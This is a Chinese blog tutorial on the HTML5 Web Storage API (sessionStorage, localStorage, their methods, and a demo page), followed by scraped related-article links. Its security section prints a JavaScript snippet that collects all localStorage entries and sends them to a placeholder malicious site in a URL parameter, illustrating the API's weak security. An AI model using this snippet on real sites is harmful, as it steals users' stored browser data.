概述

前篇：web API简介(二)：客户端储存之document.cookie API

客户端储存从某一方面来说和动态网站差不多。动态网站是用服务端来储存数据，而客户端储存是用客户端来储存数据。

Web Storage API就是现代HTML5客户端储存的方法之一。

Web Storage介绍

web storage的概念和cookie相似，区别是它是为了更大的容量存储设计的。cookie数据不能超过4K而且有最大条数限制，同时因为每次http请求都会携带cookie，所以cookie只适合保存很小的数据，但是webStorage可以达到5M或更大。

Web Storage使用起来比cookie更方便更有启发性。setItem getItem clearItem等。

webStorage只能操作字符串对象，所有的存储值都会为字符串数据。

语法

Storage对象：Web Storage API中作为sessionStorage和localStorage的接口。

sessionStorage：继承自Storage对象，关闭浏览器之后消失。利用Window.sessionStorage来进行操作。(Window对象可以省略)

localStorage：继承自Storage对象，关闭浏览器之后仍然一直存在。利用Window.localStorage来进行操作。(Window对象可以省略)

属性和方法：

(1)Storage.length：长度你懂的。

(2)Storage.key()：以n为参数，返回第n个key。

(3)Storage.getItem()：查操作。

(4)Storage.setItem()：增和改操作。

(5)Storage.removeItem()：删操作。

(5)Storage.clear()：删除所有。

安全性

Web Storage的安全性比cookie更糟糕。它甚至连HTTPONLY都没有。所以不要用它来储存敏感信息。

下面的代码可以获取使用localStorage存储在本地的所有信息。

    var i = 0;

    var str = "";

    while (localStorage.key(i) != null)

    {

        var key = localStorage.key(i);

        str += key + ": " + localStorage.getItem(key);

        i++;

    }

    document.location="http://your-malicious-site.com?stolen="+ str;

兼容性

兼容五大浏览器，不兼容IE<8(兼容IE8)。

实例

在里面的输入框中设定值，然后关闭浏览器，再打开我的博客的这篇文章，点击运行测试一下即可看到你设定的值(不是默认值)。

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>Document</title>

</head>

<body>

    <div id="user_text"></div>

    <input type="text" id="user_input">

    <button onclick="userDo()">输入</button>

    <button onclick="reset()">重置</button>

</body>

    <script type="text/javascript">

        //兼容性

        function storageAvailable(type) {

            try {

                var storage = window[type],

                    x = '__storage_test__';

                storage.setItem(x, x);

                storage.removeItem(x);

                return true;

            }

            catch(e) {

                return e instanceof DOMException && (

                    // everything except Firefox

                    e.code === 22 ||

                    // Firefox

                    e.code === 1014 ||

                    // test name field too, because code might not be present

                    // everything except Firefox

                    e.name === 'QuotaExceededError' ||

                    // Firefox

                    e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&

                    // acknowledge QuotaExceededError only if there's something already stored

                    storage.length !== 0;

            }

        };

        //初始化

        function setText () {

            if (!localStorage.getItem('usertext')) {

                userText.innerText = "默认值!请先在输入框中设定值(最好是字符串)";

            }

            else {

                userText.innerText = "你之前设定的值是：" + localStorage.getItem('usertext');

            }

        }

        var userText = document.getElementById("user_text");

        var userInput = document.getElementById("user_input");

        if (storageAvailable('localStorage')) {

          setText ();

        }

        else {

          userText.innerText = "你的浏览器不支持web storage!";

        };

        function userDo () {

            localStorage.setItem('usertext', userInput.value);

            setText ();

        };

        function reset () {

            localStorage.removeItem('usertext');

            setText ();

        };

    </script>

</html>

Document

输入
重置

<script type="text/javascript">
//兼容性
function storageAvailable(type) {
try {
var storage = window[type],
x = '__storage_test__';
storage.setItem(x, x);
storage.removeItem(x);
return true;
}
catch(e) {
return e instanceof DOMException && (
// everything except Firefox
e.code === 22 ||
// Firefox
e.code === 1014 ||
// test name field too, because code might not be present
// everything except Firefox
e.name === 'QuotaExceededError' ||
// Firefox
e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&
// acknowledge QuotaExceededError only if there's something already stored
storage.length !== 0;
}
};

    //初始化

    function setText () {

        if (!localStorage.getItem('usertext')) {

            userText.innerText = "默认值!请先在输入框中设定值(最好是字符串)";

        }

        else {

            userText.innerText = "你之前设定的值是：" + localStorage.getItem('usertext');

        }

    }

    var userText = document.getElementById("user_text");

    var userInput = document.getElementById("user_input");

    if (storageAvailable('localStorage')) {

      setText ();

    }

    else {

      userText.innerText = "你的浏览器不支持web storage!";

    };

    function userDo () {

        localStorage.setItem('usertext', userInput.value);

        setText ();

    };

    function reset () {

        localStorage.removeItem('usertext');

        setText ();

    };

&lt;/script>

web API简介(三)：客户端储存之Web Storage API的更多相关文章

  1. web API简介(二)：客户端储存之document.cookie API

    概述 前篇:web API简介(一):API,Ajax和Fetch 客户端储存从某一方面来说和动态网站差不多.动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据.document.cook ...

  2. Web API（三）：创建Web API项目

    在本篇文章中将讲解如何使用Visual Studio创建一个新的ASP.NET Web API项目. 在Visual Studio中有两种方式用于创建Web API项目: 1.创建带MVC的Web A ...

  3. web API简介(四)：客户端储存之IndexedDB API

    概述 前篇:web API简介(三):客户端储存之Web Storage API 客户端储存从某一方面来说和动态网站差不多.动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据. Index ...

  4. Web服务器学习总结（一）：web服务器简介

    一.WEB服务器 1.1.WEB服务器简介 1.Web服务器是指驻留于因特网上某种类型计算机的程序,是可以向发出请求的浏览器提供文档的程序.当Web浏览器(客户端)连到服务器上并请求文件时,服务器将处 ...

  5. J2EE基础之Web服务简介

    J2EE基础之Web服务简介 1.什么是Web服务? 在人们的日常生活中,经常会查询网页上某城市的天气信息,这些信息都是动态的.实时的,它是专业的气象站提供的一种服务.例如,在网上购物时,通常采用网上 ...

  6. Web Api 简介

    ASP.NET Web API 简介  ASP.NET MVC 4 包含了 ASP.NET Web API, 这是一个创建可以连接包括浏览器.移动设备等多种客户端的 Http 服务的新框架, ASP. ...

  7. Redis总结（五）缓存雪崩和缓存穿透等问题 Web API系列(三)统一异常处理 C#总结（一）AutoResetEvent的使用介绍（用AutoResetEvent实现同步） C#总结（二）事件Event 介绍总结 C#总结（三）DataGridView增加全选列 Web API系列(二)接口安全和参数校验 RabbitMQ学习系列（六）: RabbitMQ 高可用集群

    Redis总结(五)缓存雪崩和缓存穿透等问题   前面讲过一些redis 缓存的使用和数据持久化.感兴趣的朋友可以看看之前的文章,http://www.cnblogs.com/zhangweizhon ...

  8. [转]ASP.NET Web API（三）：安全验证之使用摘要认证(digest authentication)

    本文转自:http://www.cnblogs.com/parry/p/ASPNET_MVC_Web_API_digest_authentication.html 在前一篇文章中,主要讨论了使用HTT ...

  9. ASP.NET Web API（三）：安全验证之使用摘要认证(digest authentication)

    在前一篇文章中,主要讨论了使用HTTP基本认证的方法,因为HTTP基本认证的方式决定了它在安全性方面存在很大的问题,所以接下来看看另一种验证的方式:digest authentication,即摘要认 ...

随机推荐

  1. 机器学习中的算法(2)-支持向量机(SVM)基础

    版权声明:本文由LeftNotEasy发布于http://leftnoteasy.cnblogs.com, 本文可以被全部的转载或者部分使用,但请注明出处,如果有问题,请联系wheeleast@gma ...

  2. 使用idea生成maven项目的jar包（转）

    第一步  第二步  第三步 转自:https://blog.csdn.net/waterimelon/article/details/69243651

  3. AD+DMA+USART实验中的收获和总结

    由于实验室用的是USART3接口,但是在基地实验时,由于没有RS232,只能换到USART1,进行实验.(在交作业的时候,记得要再换回去) 在这个过程中,遇到困难,用串口软件发送数据时无响应,应该意味 ...

  4. psdTohtml

    https://github.com/anjorweb/fastHtml fastHtml 一个简单的psd直接导出html的工具 自己工作常用整理 适合单页面且采用DOM结构布局的H5页面,基于Ca ...

  5. Android 查阅博客2_APT

    https://mp.weixin.qq.com/s/3zrAzOUGpovRRbuYnce3uw APT(Annotation Processing Tool) 即注解处理器,是一种注解处理工具,用 ...

  6. 使用JavaMail发送邮件-从FTP读取图片并添加到邮件正文发送

    业务分析: 最近工作需要,需要从FTP读取图片内容,添加到邮件正文发送.发送邮件正文,添加附件采用Spring的MimeMessageHelper对象来完成,添加图片也将采用MimeMessageHe ...

  7. WMS常用表

    --主数据 select * from sku; select * from pack; select * from userdatatranslation; ' ; SELECT * FROM LO ...

  8. VueJs学习参考的例子

    his is a vue+mint's demo ,for loler(PAD LOL) https://github.com/yuanman0109/vue2.0-Mint-lolbox   An ...

  9. JS实现数组去重方法总结(三种常用方法)

    方法一: 双层循环,外层循环元素,内层循环时比较值 如果有相同的值则跳过,不相同则push进数组 Array.prototype.distinct = function(){ var arr = th ...

  10. cmd中sudo以后显示password不能输入密码

    文本界面还是图形界面下输入密码都不会有回显,这是为了安全考虑. 其实你不是不能输入密码只是你看不到而已,事实上你已经输入进去了,回车后就能看到效果了. 来源于:https://zhidao.baidu ...